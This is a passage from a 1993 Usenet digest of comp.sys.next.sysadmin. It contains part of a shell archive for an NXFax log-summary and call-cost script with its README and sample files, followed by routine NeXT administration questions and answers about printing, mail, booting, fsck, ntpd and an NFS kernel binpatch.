X$4 ~ /bps/ { speed=sprintf("%4.1f",$3/1000) }
X$3 ~ /page/ { pages=$4 }
X$3 ~ /hangup/ { if ( substr($3, 8, 1) == "0" )
X { errors=$4" "$5 }
X else
X { errors="Hangup ERROR" }
X }
X/connect time/ { ctime=$5 }
X/transmit time/ { ttime=$5
X if (connected) {
X printsummary()
X }
X resetvars()
X }
X$4 ~ /halt|busy/ { if (call) {
X printsummary()
X resetvars()
X }
X }
X/no carrier/ { if (call) {
X calldate=date; errors="no carrier"
X printsummary()
X resetvars()
X }
X }
X
X' ${LOGFILE} > ${TMPFSND} 2>&1
X#
X#
X# use the information collected in the previous step to get a
X# more accurate cost computation:
X#
Xif [ ! -r $COSTFILE ]
Xthen
X awk '{ print substr($0,53,5)" "substr($0,39,3)" "substr($0,19,20) }' \
X ${TMPFSND} | ${GAWK} '
X BEGIN { transmit=0; pages=0; }
X $1 !~ /\?/ { pages+=$2; split($1,ttime,":")
X transmit+=60*ttime[1]+ttime[2] }
X
X END {
X time_h=int(transmit/3600); time_s=transmit-3600*time_h;
X printf("\nTotal transmit time: %3d:%02d:%02d for %d pages",\
X time_h,time_s/60,time_s%60,pages)
X if (pages>0) printf("\t~ %8.2f sec/page",transmit/pages)
X printf("\n")
X }
X ' > ${TMPFCST} 2>&1
Xelse
X awk '{ print substr($0,53,5)" "substr($0,39,3)" "substr($0,60,5)\
X " "substr($0,19,20) }' ${TMPFSND} \
X | ${GAWK} -v costparamfile=${COSTFILE} '
X BEGIN { # initialize parameter arrays
X "sed -n -e s/\\^\\\\$//p "costparamfile | getline currency
X close("sed -n -e s/\\^\\\\$//p "costparamfile)
X FS=":"; counter=0;
X while ("sed -n -e s/\\^://p "costparamfile | getline ) {
X counter++
X costp[counter,"prefix"]=$1
X costp[counter,"connect"]=$2
X costp[counter,"tunit"]=$3
X costp[counter,"unitc"]=$4
X }
X close("sed -n -e s/\\^://p "costparamfile)
X max=counter
X s=0
X while ("sed -n -e s/\\^\\+//p "costparamfile | getline) {
X s++
X summa[s,"prefix"]=$1
X summa[s,"comment"]=$2
X for (i=3; i<=NF; i++)
X summa[s,"comment"]=summa[s,"comment"]":"$i
X }
X summax=s; FS=" "
X transmit=0; pages=0;
X }
X
X $2 !~ /\?/ { pages+=$2; split($1,ttime,":")
X transmit+=60*ttime[1]+ttime[2] }
X $4 !~ /\?/ {# on every line where you have number and connect time,
X # do the following
X if ( $3 !~ /\?/ ) {
X split($3,timing,":"); time=60*timing[1]+timing[2];
X counter=1; found=0;
X while (counter<=max && !found) {
X if ( index($4,costp[counter,"prefix"])==1 ) {
X found=1
X cost[counter,"time"]+=time
X cost[counter,"cost"]+=(costp[counter,"connect"]+ \
X time*costp[counter,"unitc"]/costp[counter,"tunit"])
X } else if ( length(costp[counter,"prefix"])==0 ) {
X cost[counter,"time"]+=time
X cost[counter,"cost"]+=(costp[counter,"connect"]+ \
X time*costp[counter,"unitc"]/costp[counter,"tunit"])
X }
X counter++
X }
X }
X }
X
X END {
X for (counter=1; counter<=max; counter++) {
X s=1; found=0;
X while (s<=summax && !found) {
X if ( index(costp[counter,"prefix"],summa[s,"prefix"])==1 ) {
X found=1
X summa[s,"time"]+=cost[counter,"time"]
X summa[s,"cost"]+=cost[counter,"cost"]
X } else if ( length(summa[s,"prefix"])==0 ) {
X found=1
X summa[s,"time"]+=cost[counter,"time"]
X summa[s,"cost"]+=cost[counter,"cost"]
X }
X s++
X }
X }
X
X # output collected information
X for (s=1; s<=summax; s++) {
X time_h=int(summa[s,"time"]/3600);
X time_s=summa[s,"time"]-3600*time_h;
X printf("%-45s\t%2d:%02d:%02d ~%7.2f %s\n", \
X summa[s,"comment"],time_h,time_s/60,time_s%60, \
X summa[s,"cost"],currency)
X totalcost+=summa[s,"cost"]
X }
X printf("%-45s\t\t %8.2f %s\n","Total cost:", totalcost, \
X currency)
X time_h=int(transmit/3600); time_s=transmit-3600*time_h;
X printf("\nTotal transmit time: %3d:%02d:%02d for %d pages",\
X time_h,time_s/60,time_s%60,pages)
X if (pages>0) printf("\t~ %8.2f sec/page",transmit/pages)
X printf("\n")
X }
X ' > ${TMPFCST} 2>&1
X
Xfi
X#
X# now search logfile for faxes received, collect information in ${TMPFRCV}
X#
X${GAWK} '
Xfunction resetvars () { connected=false; call=false;
X speed="?"; res="?"; errors="?"; number="?"
X ctime="?"; ttime="?"; pages=0;
X calldate=" ? ? ? "
X }
XBEGIN { true=1; false=0; resetvars(); t_ttime=0 }
X$3 ~ /Sun|Mon|Tue|Wed|Thu|Fri|Sat/ \
X { date=sprintf("%2d %s %s",$5,$4,$6) }
X# this might be special to NXFax 1.02
X/%> NXFax: incoming call/ { call=true; calldate=date }
X/%> NXFax: fax call/ { if (call) connected=true }
X# this might be special to NXFax 1.03
X/%> NXFax: from/ { if (connected) {
X calldate=date
X number=substr($0,15,20) }
X }
X$4 ~ /halt/ { connected=false; call=false }
X$4 ~ /resolution/ { res=$3 }
X$4 ~ /bps/ { speed=sprintf("%4.1f",$3/1000) }
X$3 ~ /page/ { pages=$4 }
X$3 ~ /hangup/ { if ( substr($3, 8, 1) == 0 )
X { errors=$4" "$5 }
X else
X { errors="Hangup ERROR" }
X }
X/transmit time/ { ttime=$5
X if (connected) {
X if (number=="call") { number="?" }
X printf("%16s %-20s %3s %2s %s %5s %s\n",
X calldate,number,pages,substr(res,1,2),
X speed,ttime,errors)
X split(ttime,ttimecomp,":")
X t_ttime+=ttimecomp[1]*60+ttimecomp[2]
X t_pages+=pages
X }
X resetvars()
X }
X# this can happen on an error like
X# %> NXFax: hangup[70]: Unspecified receive Phase B error.
From: Adrian.Steinmann@f716.n109.z1.his.com (Adrian Steinmann)
Sender: UUCP@his.com
Newsgroups: comp.sys.next.sysadmin
Subject: Pt 3/4: NXFax logfile summary
Message-ID: <734345081.AA00522@his.com>
Date: Thu, 08 Apr 1993 23:21:18
X/call complete/ { if (connected) {
X printf("%16s %-20s %3s %2s %s %5s %s\n",
X calldate,number,pages,substr(res,1,2),
X speed,ttime,errors)
X split(ttime,ttimecomp,":")
X t_ttime+=ttimecomp[1]*60+ttimecomp[2]
X t_pages+=pages
X }
X resetvars()
X }
XEND {
X t_th=int(t_ttime/3600); t_ttime-=3600*t_th;
X printf("\nTotal transmit time: %3d:%02d:%02d for %d pages",\
X t_th,t_ttime/60,t_ttime%60,t_pages);
X if ( t_pages != 0) { printf("\t~ %8.2f sec/page\n",t_ttime/t_pages) }
X printf("\n")
X }' ${LOGFILE} > ${TMPFRCV} 2>&1
X#
X# Concatenate collected data
X#
X(
X cat ${TMPFHED}
X if [ `wc -l ${TMPFSND} | awk -e '{print $1}'` -gt 0 ]
X then
X echo "\n SEND FAX\n"
X echo "Date Time Number pgs res kbps xmt conn
errors\n"
X cat ${TMPFSND}
X if [ -r $COSTFILE ]
X then
X if [ `wc -l ${TMPFCST} | awk -e '{print $1}'` -gt 0 ]
X then
X echo "\nCost summary\t\t\t\t\t connect cost"
X cat ${TMPFCST}
X fi
X else
X cat ${TMPFCST}
X fi
X fi
X if [ `wc -l ${TMPFRCV} | awk -e '{print $1}'` -gt 2 ]
X then
X echo "\n\n RECEIVE FAX\n"
X echo "Date Time Number pgs res kbps xmt
errors\n"
X cat ${TMPFRCV}
X fi
X echo
X) > ${TMPFSUM} 2>&1
X#
Xif [ `wc -l ${TMPFSUM} | awk -e '{print $1}'` -gt 3 ]
Xthen
X cat ${TMPFSUM} | eval ${CMD}
Xfi
X#
Xcleanup
X#
Xexit 0
NeXT!
if test 15539 -ne "`wc -c < 'nxfaxsummary.sh'`"
then
echo shar: error transmitting "'nxfaxsummary.sh'" '(should have been 15539
characters)'
fi
chmod +x 'nxfaxsummary.sh'
fi # end of overwriting check
echo shar: extracting "'README'" '(1776 characters)'
if test -f 'README'
then
echo shar: will not over-write existing file "'README'"
else
sed 's/^X//' << \NeXT! > 'README'
X
XNXFAXSUMMARY 1.0 April 8, 1993
X
XThis shell script reads the log file of NXFax versions 1.02 and
X1.03 and summarizes Fax traffic.
X
XUSAGE
X nxfaxsummary.sh [ -help | -sample ]
X nxfaxsummary.sh [ [-l] <log> ] [ -c <costs> ] [ -m {address_list} ]
X
XBy default, the script will search for a log file in the
Xdirectories "/etc/nxfax/" and "/usr/adm/nxfax/". An
Xalternate log file can be specified with the option -l or as
Xfirst argument to the script.
X
XIt will also look for a file called "nxfax.cost" in that
Xdirectory describing the calling costs for various times and
Xphone number prefixes. Invoking the script with the option
X"-sample" will print a sample nxfax.cost. An extremely
Xdetailed example is contained in nxfax.cost.detailed. An
Xalternate cost description file can be specified with the
Xoption "-c <costfile>". If no readable cost description file
Xis found, only a summary of transmit time and average transmit
Xtime per page is calculated.
X
XWith the option -m <address_list>, the summary is sent to the
Xrecipients specified in address_list.
X
XINSTALLATION
X
XCopy the files nxfaxsummary.sh and nxfax.cost into
X/etc/nxfax if you use NXFax version 1.02, or into
X/usr/adm/nxfax if you use NXFax version 1.03. you need to have
Xsuperuser privileges to do this. Edit nxfax.cost as
Xappropriate for your site, see the instructions in
Xnxfax.cost.
X
XLIMITATIONS
X
XThe cost computation does not care about the time of day a fax
Xwas sent, even though most phone companies charge differently
Xoutside of business hours.
X
XAUTHORS
X
XAndreas Muller
XMathematisches Insitut der Universitaet
XIm Neuenheimer Feld 288
XW-6900 Heidelberg 1
XGermany
X[afm@mathi.uni-heidelberg.de]
X
XAdrian Steinmann
XSteinmann Consulting
XApollostrasse 21
XCH-8032 Zurich
XSwitzerland
X[ast@lia.di.epfl.ch]
NeXT!
if test 1776 -ne "`wc -c < 'README'`"
then
echo shar: error transmitting "'README'" '(should have been 1776
characters)'
fi
fi # end of overwriting check
echo shar: extracting "'nxfax.cost'" '(2263 characters)'
if test -f 'nxfax.cost'
then
echo shar: will not over-write existing file "'nxfax.cost'"
else
sed 's/^X//' << \NeXT! > 'nxfax.cost'
X#
X# NXFax Summary cost computation parameter file
X#
X# this file is read by nxfaxsummary.sh and used to compute
X# approximate cost of fax traffic. The precision of this
X# computation depends highly on the amount of detail given
X# in this file.
X#
X# FORMAT: there are three types of lines:
X#
X# $<currency-string>
X# :<prefix>:<unit-time>:<unit-cost>:<connect-cost>:<comments>
X# +<prefix>:<comments>
X#
X# The line beginning with $ indicates the currency-string to use in
X# the summary.
X# Lines beginning with : give cost computation parameters
X# Lines beginning with + are called summary lines and are used
X# to indicate how costs have to be summarized by nxfaxsummary.sh
X#
X# nxfaxsummary.sh scans the called phone number and uses the parameters
X# associated with the first matching <prefix> to compute the costs for
X# this call. If t is the connect time in seconds, then the cost is computed
X# according to the formula
X#
X# cost = connect-cost + (t/unit-time)*unit-cost
X#
X# connect-cost is the minimum fee per connection (0 in most situations)
X# this can be used to account for the fact that connect
X# time measured by NXFax usually is shorter than effective
X# duration of call due to initial handshake
X# unit-time is the duration in seconds of a time unit,
X# unit-cost is the price of one unit,
X# currency-string (self evident).
X#
X# Then nxfaxsummary.sh matches these computations against the prefixes
X# in the summary lines to condense the summary down to the informative
X# minimum.
X#
X# Lines beginning with # are ignored.
X#
X# EXAMPLE
X$DM
X:0041:0:12:0.23:calls to Switzerland
X:00:0:12:0.23:other international calls
X+00:International calls:
X:0:0:60:0.23:calls within Germany (Fernzone)
X::0:360:0.23:local calls (Nahzone)
X+:calls within Germany:
X#
X# the nxfax.cost file should always include a line beginning
X# with empty prefix string, this will be used as the default
X# for phone numbers that don't match any other prefix. The
X# same is true for summary lines: the minimum summary line
X# ist
X# +:
X#
X# Most phone companies charge differently during business hours
X# and outside of business hours, use the parameters that are
X# valid at those times when You send faxes.
X#
X# To be done: - differentiate between rates
X#
NeXT!
if test 2263 -ne "`wc -c < 'nxfax.cost'`"
then
echo shar: error transmitting "'nxfax.cost'" '(should have been 2263
characters)'
fi
fi # end of overwriting check
echo shar: extracting "'nxfax.cost.detailed'" '(1446 characters)'
if test -f 'nxfax.cost.detailed'
then
echo shar: will not over-write existing file "'nxfax.cost.detailed'"
else
sed 's/^X//' << \NeXT! > 'nxfax.cost.detailed'
X#
X# nxfax.cost.detailed
X#
X# nauseatingly detailed nxfax.cost file
X#
X# We are in Germany:
X$DM
X#
X# Here are international connections
X:0020:0:10.666:0.23:Aegypt
X:00355:0:10.666:0.23:Albania
X:00213:0:10.666:0.23:Algeria
X:0033:0:12:0.23:Andorra
X:0032:0:12:0.23:Belgium
X:00359:0:10.666:0.23:Bulgaria
X:0045:0:12:0.23:Danemark
X:00298:0:12:0.23:Faeroer
X:00358:0:10.666:0.23:Findland
X:0033:0:12:0.23:France
X:00350:0:10.666:0.23:Gibraltar
X:0030:0:12:0.23:Greece
X:0044:0:12:0.23:Great Britain and Northern Ireland
X:007:0:10.666:0.23:GUS (Ex USSR)
X:00353:0:12:0.23:Ireland
X:00354:0:10.666:0.23:Iceland
X:00972:0:10.666:0.23:Israel
X:0039:0:12:0.23:Italy
X:00962:0:10.666:0.23:Jordan
X:0038:0:10.666:0.23:Jugoslavia
X:00218:0:10.666:0.23:Libya
X:004175:0:12:0.23:Lichtenstein
X:00352:0:12:0.23:Luxemburg
X:00356:0:10.666:0.23:Malta
X:00212:0:10.666:0.23:Marokko
X:003393:0:12:0.23:Monaco
X:0031:0:12:0.23:Netherlands
X:0043:0:12:0.23:Austria
X:0048:0:12:0.23:Poland
X:0042:0:12:0.23:Checkoslovakia
X:0034:0:12:0.23:Spain
X:0047:0:10.666:0.23:Norway
X:0040:0:10.666:0.23:Romania
X:0046:0:10.666:0.23:Sweden
X:00963:0:10.666:0.23:Syria
X:0090:0:10.666:0.23:Turkey
X:00216:0:10.666:0.23:Tunesia
X:0036:0:10.666:0.23:Hungary
X:00357:0:10.666:0.23:Cyprus
X:001:0:7:0.23:Tarifzone 2a
X:00:0:4.42:0.23:Tarifzone 3
X+00:International calls:
X#
X# Calls within Germany
X:06:0:60:0.23:Regional Zone
X:0:0:21:0.23:Long distance (Weitzone)
X::0:360:0.23:Local Calls (Ortszone)
X+:Calls within Germany:
NeXT!
if test 1446 -ne "`wc -c < 'nxfax.cost.detailed'`"
then
echo shar: error transmitting "'nxfax.cost.detailed'" '(should have been 1446
characters)'
fi
fi # end of overwriting check
echo shar: extracting "'SAMPLE_OUTPUT'" '(1733 characters)'
if test -f 'SAMPLE_OUTPUT'
then
echo shar: will not over-write existing file "'SAMPLE_OUTPUT'"
else
sed 's/^X//' << \NeXT! > 'SAMPLE_OUTPUT'
XNXFax Accounting @ foobar from 16 Jan 1993 09:28:36 to 27 Mar 1993 13:45:17
X
X SEND FAX
X
XDate Time Number pgs res kbps xmt conn errors
X
X23 Jan 09:23:54 004657835286 1 lo 9.6 00:28 00:35 No errors.
From: Adrian.Steinmann@f716.n109.z1.his.com (Adrian Steinmann)
Sender: UUCP@his.com
Newsgroups: comp.sys.next.sysadmin
Subject: Pt 4/4: NXFax logfile summary
Message-ID: <734345081.AA00523@his.com>
Date: Thu, 08 Apr 1993 23:21:18
X23 Jan 21:38:34 004712212419 1 lo 9.6 01:03 01:10 No errors.
X 1 Feb 18:26:47 004734231513 1 lo 7.2 00:42 00:54 No errors.
X 6 Feb 21:55:10 004734231513 1 lo 9.6 00:22 00:29 No errors.
X11 Feb 18:13:27 004716543144 1 hi 9.6 02:03 02:09 No errors.
X19 Feb 17:53:29 004716543144 1 hi 9.6 00:40 00:46 No errors.
X25 Feb 08:16:21 004714827754 1 lo 4.8 00:43 01:03 No errors.
X27 Mar 13:44:36 004716543144 1 lo 9.6 00:34 00:41 No errors.
X
XCost summary connect cost
XInternational calls: 0:08:33 ~ 7.37 DM
Xcalls within Germany: 0:00:00 ~ 0.00 DM
XTotal cost: 7.37 DM
X
XTotal transmit time: 0:07:14 for 8 pages ~ 48.22 sec/page
X
X
X RECEIVE FAX
X
XDate Time Number pgs res kbps xmt errors
X
X16 Jan 09:28:36 1 hi 9.6 02:47 No errors.
X17 Feb 08:39:57 2 hi 4.8 02:51 No errors.
X19 Feb 17:09:12 1 hi 9.6 00:33 No errors.
X19 Feb 17:20:47 1 hi 9.6 00:38 No errors.
X26 Mar 21:56:03 +51 1 591 30 00 1 hi 14.4 00:21 No errors.
X
XTotal transmit time: 0:07:10 for 6 pages ~ 71.67 sec/page
X
NeXT!
if test 1733 -ne "`wc -c < 'SAMPLE_OUTPUT'`"
then
echo shar: error transmitting "'SAMPLE_OUTPUT'" '(should have been 1733
characters)'
fi
fi # end of overwriting check
echo shar: done with directory "'nxfaxsummary'"
cd ..
# End of shell archive
exit 0
From: "Steve.Hayman"@f716.n109.z1.his.com ("Steve Hayman")
Sender: UUCP@his.com
Newsgroups: comp.sys.next.sysadmin
Subject: NeXTOS and PPD files!?!?!
Message-ID: <734345081.AA00531@his.com>
Date: Thu, 08 Apr 1993 18:27:53
Organization: Objectario
Um, in retrospect the solution I was suggesting won't work exactly as
stated, 'cause I think lpd only runs the "if=" input filter on
the machine which it thinks is actually doing the spooling - i.e. the machine
named by the "rm=" thing and if you had "rm=actualPrinterItself", nobody
would run the custom input filter.
I am sure thre is a way around this, possibly by having all your NeXTs spool
your output to a central NeXT, and having that one run the input filter *but*
as the last stage in the filter, after the postscript has been filtered
through
psprepare, pipe it into "lpr -PTheActualPrinter". A two-stage process,
using two printer definitions in NetInfo.
Not the most elegant solution but it might work well enough.
From: Bryan.Milligan@f716.n109.z1.his.com (Bryan Milligan)
Sender: UUCP@his.com
Newsgroups: comp.sys.next.sysadmin
Subject: One way to forward mail to different mailboxes.
Message-ID: <734345121.AA00740@his.com>
Date: Fri, 09 Apr 1993 02:39:42
Organization: Texas A&M University, College Station, TX
Since I posted my original question on how to forward mail
to different mailboxes, I've received numerous requests for the
answers. The first thing to do is to get the following:
mailforward (readily available)
perl (also readily available)
Uncompress and untar and you're halfway there. The trick to installing
perl on a NeXT is to be aware the the include files are in two
different directories: /usr/include/ansi and /usr/include/bsd.
Either tell the configure script to look in both places or create
one linked directory, otherwise it's pretty straightforward.
Mailforward is a perl script that sorts the incoming mail
according to user specified strings in the mail header.
Installation is relatively simple; however, to work correctly the
destination mailboxes must not be open or all the mail winds up in
Active.mbox (or the default), even if mail is hidden.
Hope this helps.
--
Bryan Milligan Voice: (409) 845-7541
Department of Aerospace Engineering Fax: (409) 845-6051
Texas A&M University
bryan@kolsky.tamu.edu
(NeXT Mail accepted)
From: Gordon.O.Tillman@f716.n109.z1.his.com (Gordon O Tillman)
Sender: UUCP@his.com
Newsgroups: comp.sys.next.sysadmin
Subject: Printing Mac (System 7) P.S. on NeXT Laserprinter
Message-ID: <734345121.AA00773@his.com>
Date: Thu, 08 Apr 1993 16:03:11
Organization: Shell Oil
Hello all,
I have failed miserably in my recent attempts to print PostScript files
created on the Mac (which is running System 7) on my NeXT laserprinter.
I looked in the faq file and didn't see an answer, and also tried applying
some information that was thoughfully provided to me by Ken Lui, which was:
> I've had success transferring postscript files from the Mac to
> the NeXT and printing them. When generating the postscript files
> from the Mac, at the print dialog box, issue Command-K, not
> Command-F. Command-K tells the driver to write the laserprep
> header that's needed to process Mac-specific print files. Edit
> the resultant postscript# file so the first line contains
> %!PS-Adobe-2.0. The default laserprep header doesn't have this
> so the NeXT will think you're printing a normal file without it,
> giving you streams and streams of postscript source code.
> Alternatively, you can hack the laserprep LROM and include it.
> (It's in LaserPrep, resource POST, ID -8192, string #1. After
> modifying, it should look like:
> %!PS-Adobe-2.0
> %%Title: "Laser Prep -- The Apple PostScript Dictionary (md)"
> %%Creator: Apple Software Engineering
> %%CreationDate: Thursday, March 19, 1987
> )
> I've used the above to print stuff from MS WORD 4.00, even the
> tables feature...the application from hell...if it works,
> anything should :-) BTW, the NeXT doesn't do bitmap smoothing
> although you can get some info on that type of support on
> sumex-aim.stanford.edu...
I remember trying this when I ran System 6 on the Mac and it seemed to
work fine. But now, when I opened my postscript file, I saw that it
already had the "%!PS-Adobe-2.0" entry as the first line...
Now, I can take this same file and put it on a Sun workstation and
lpr it to the Sun's laserprinter (which is really no surprise, as
I believe Apple makes Sun's laserprinters).
If anyone can suggest an alternative method that might make this work,
I would be much obliged.
Gordon
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From: Lorien.Pratt@f716.n109.z1.his.com (Lorien Pratt)
Sender: UUCP@his.com
Newsgroups: comp.sys.next.sysadmin
Subject: Trouble with booting next: kern_loader: Link Failed: Help!
Message-ID: <734345121.AA00830@his.com>
Date: Fri, 09 Apr 1993 00:52:16
Organization: Colorado School of Mines
Hi,
Suddenly the other day my Cube crashed, and when I rebooted, I got
the following error messages:
Apr 7 16:15:21 franklinite mach: master cpu at slot 0.
Apr 7 16:15:23 franklinite netmsgserver[72]: network_init
Apr 7 16:15:26 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:26 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:26 franklinite kern_loader: kern_loader: server mididriver
won't link
Apr 7 16:15:27 franklinite kern_loader: kern_loader: server mididriver
won't link
Apr 7 16:15:27 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:27 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:27 franklinite kern_loader: kern_loader: server NeXTdimension
won't link
Apr 7 16:15:27 franklinite kern_loader: kern_loader: server NeXTdimension
won't link
Apr 7 16:15:30 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:30 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:30 franklinite kern_loader: kern_loader: server isdn won't
link
Apr 7 16:15:30 franklinite kern_loader: kern_loader: server isdn won't
link
Apr 7 16:15:35 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:35 franklinite kern_loader: kern_loader: Link failed
Apr 7 16:15:35 franklinite kern_loader: kern_loader: server midi won't
link
Apr 7 16:15:35 franklinite kern_loader: kern_loader: server midi won't
link
....
Apr 7 16:33:43 franklinite kern_loader: kern_loader: server NeXTdimension
won't link
Apr 7 16:33:43 franklinite WindowServer[173]: Problem starting the
NeXTdimension.psdrvr driver. Continuing.
My SysAdmin tells me she's seen these messages before, but they never
interfered with a machine. However, I have a NextDimension, and now
the console won't display any windows. However, the rest of the
computer works fine!
Please help me if you've seen this before!
--Lori
--
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(303) 273-3878 (work) 402 Stratton
(303) 278-4552 (home) Golden, CO 80401, USA
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From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: Bad super-block...now what?
Message-ID: <C57DoB.5wn@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <1993Apr6.071515.7748@ncsa.uiuc.edu> <1993Apr6.165750.9816@bluerose.com>
Distribution: na
Date: Fri, 9 Apr 1993 06:21:32 GMT
M_Carling@BlueRose.com (M Carling) writes:
>In article <1993Apr6.071515.7748@ncsa.uiuc.edu> kchang@ncsa.uiuc.edu
>(Kenneth Chang) writes:
>> In the process of trying to upgrade from 2.1 to 3.0, I appear to have
>> severely hosed the hard disk.
>How many times do I have to post that 2.1 to 3.0 should be done using
>BuildDisk.app rather than Upgrade.app?
I have done literally more than 100 upgrades from 2.1 to 3.0 using
Upgrade_3.0.app. Never had any trouble. Of course, there are
benefits to rebuilding from scratch.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: Zenon.Fortuna@f716.n109.z1.his.com (Zenon Fortuna)
Sender: UUCP@his.com
Newsgroups: comp.sys.next.sysadmin
Subject: Bad super-block...now what?
Message-ID: <734345162.AA01025@his.com>
Date: Thu, 08 Apr 1993 16:08:09
Organization: Resonex Inc., Fremont CA
In article <1993Apr6.165750.9816@bluerose.com> M_Carling@BlueRose.com (M
Carling) writes:
>In article <1993Apr6.071515.7748@ncsa.uiuc.edu> kchang@ncsa.uiuc.edu
>(Kenneth Chang) writes:
>> In the process of trying to upgrade from 2.1 to 3.0, I appear to have
>> severely hosed the hard disk.
>
>How many times do I have to post that 2.1 to 3.0 should be done using
>BuildDisk.app rather than Upgrade.app?
>
>M Carling
>President, Bay Area NeXT Group
Anyway, you may try to repair the superblock. The "fsck" has the option to
use an alternate superblock. As superuser type
# fsck -b 16 /dev/rsd0a
It would make sense to boot first from a Bootable floppy.
-Z.
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From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: network time
Message-ID: <C57E4A.6wD@ux1.cso.uiuc.edu>
Keywords: ntp
Organization: University of Illinois at Urbana
References: <1993Apr8.072555.27105@urz.unibas.ch>
Date: Fri, 9 Apr 1993 06:31:08 GMT
frank@ifi.unibas.ch (Robert Frank) writes:
>Argh, now I know why PB is causing me troubles: my ntpd isn't doning it's job.
>So files accessed through nfs don't have the right time stamp.
>Now, the big question is, why isn't ntpd working correctly. I have 'network'
>time enabled in the host manager and ntpd _is running_. But my local clock is
>always out of sync with the nfs server's clock. Even if I explicitly resync
>with the preferences, nothing happens.
>Any guesses, solutions?
Have you set up any time servers with HostManager.app? It is under
Network->Network Time Configuration. Choose the proper netinfo
domain you want these changes to take effect in, and mark your time
server with the 'Master' button. Make sure to click the 'Time
Service Enabled' button. You will (most likely) need to reboot for
ntpd to start up. If these time servers aren't in netinfo in the
/locations/ntp entry, ntpd will just die when it is run in /etc/rc.
This is sort of documented in the ntpd(8) man page. It still
mentions NetManager under 3.0 but they have fixed the typo in 3.1.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NXFax logfile summary
Date: 9 Apr 1993 10:06:14 +0100
Organization: me organized? That's a joke!
Message-ID: <1q3ea6$83j@steffi.demon.co.uk>
References: <1993Apr8.212118.20237@ifi.unizh.ch>
Keywords: NXFax logfile fax usage
My initial investigation indicates that the format in nxfax.cost
documented in wrong. I think instead of
# :<prefix>:<unit-time>:<unit-cost>:<connect-cost>:<comments>
It should be
# :<prefix>:<connect-cost>:<unit-time>:<unit-cost>:<comments>
In the script there is the following code
costp[counter,"prefix"]=$1
costp[counter,"connect"]=$2
costp[counter,"tunit"]=$3
costp[counter,"unitc"]=$4
Correct me if im wrong.
Also, I cannot get my 0101 calls to be recognised. (USA) Anyone
in the UK get this bit going?
--
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"Yeah, sure I'll have one big mac, hold the onions"
"You want fries with that?"
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From: cbaur@blabel.ppp.informatik.uni-muenchen.de (Christian Baur)
Subject: Re: Using Solaris 2.1 as mail host to BSD machines
Message-ID: <1993Apr9.120532.7956@blabel.ppp.informatik.uni-muenchen.de>
Organization: Home of BlackLabel
References: <1pshql$31k@umd5.umd.edu>
Date: Fri, 9 Apr 1993 12:05:32 GMT
matthews@oberon.umd.edu (Mike Matthews) writes:
>We're trying to use a SPARC LX running Solaris 2.1 as our mail host to NeXT
>and SunOS 4.x machines. I've got /var/mail exported to everybody, who's
>mounting it as /usr/spool/mail, and that part seems to work OK.
>The problem is, even though the sendmail.cf file (which is a main.cf file
>with the asked-for values) specifies mode 0600 for the files, they come out
>as mode 660, and when NeXTmail gets it, it becomes mode 4777. Not very secure.
>2) what's up with mail? I have no idea what's going on there.
Ok, we had the same problems here with Solaris 2.1 as a file server for our
NeXTStations. Doing a chown (and sendmail does a chown) yields in a wrong
filemode for that file. All bits are set. After tracing the network traffic
it was clear.
Whats going on?? In NFS the attributes of a file are transferred in structure
called fattr. All entries in this structure which should not be modified
in a set attributes NFS call (NFSPROC_SETATTR) have to be -1.
This is also valid for the the vnode (virtual node) file mode structure (vattr)
of the physical filesystem.
The attribute structure is converted from the vnode attributes (vattr)
to the NFS structure (sattr). In vattr the mode field is u_short in sattr
it is u_long (32bit int's as god intended int's to be).
Seems to be no problem. But the vattr_to_sattr routine in Mach 'converts'
the -1 (16bit) to a -1 (also 16bit)...
Here is a binpatch for the 3.0 mach kernel (NeXT Mach 3.0: Wed Jul 29 19:43:28
PDT 1992). I don't know if there is also a problem with 2.1, but I think a
similiar patch will do it also for 2.1 [This patch ONLY applies to 3.0!!!].
[binpatch it with 'binpatch -f nfspatch.binpatch /sdmach' after making a
backup from your /sdmach]
nfspatch.binpatch:
256163 61 41
256166 2 0
[this patches a 'movew a2,a0@(0x2:w)' to a 'movel a2,a0@(0x0:w)']
This patch works for us, but remember: I am not responsible for any damage
you cause to your filesystem with this patch. You use this patch on your
own risk!!!
cb
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From: heading@signal.dra.hmg.gb (Anthony J.R. Heading)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXTOS and PPD files!?!?!
Date: 9 Apr 1993 14:57:53 +0100
Organization: Defence Research Agency
Message-ID: <1q3vd1INNder@liszt.dra.hmg.gb>
References: <734345081.AA00531@his.com>
Indeed. You can't run input filters in printcap entries for
remote queues. Here's what I mailed to a few people last week.
----------------------------
Hi,
Find below the perl script to insert the features from PPD files.
I've called it /usr/lib/printer/ppd, but it can go anywhere
and be called anything you like. It's fairly self-explanatory.
It isn't in any sense a strictly-compliant PPD parser, it'll get
confused by includes or foreign languages for example, but since
none of these extensions are used by Adobe, that shouldn't matter.
The most tedious bit is tweaking termcap. If the printer is
connected to a serial line, it's fairly easy. Similarly
if you put the script below as an "if" entry in the termcap of
the machine which has the printer physically attached, it's
fairly neat. The worst case, though, is if you need to transfer the processed file to a remote lpd. You have to write something like the following:
============= Extract from nidump termcap ===========
ex33ps: \
:if=/usr/spool/NeXT/ex33ps/filter:lp=/dev/null: \
:sd=/usr/spool/NeXT/ex33ps:sh:ty=QMS-PS 810 Turbo: \
:note=Now in Demo Lab:
ex33ps_direct: \
:lp=:rm=dupre:rp=ex33ps:sd=/usr/spool/NeXT/ex33ps_direct: \
:ty=QMS-PS 810 Turbo:note=Unfiltered:
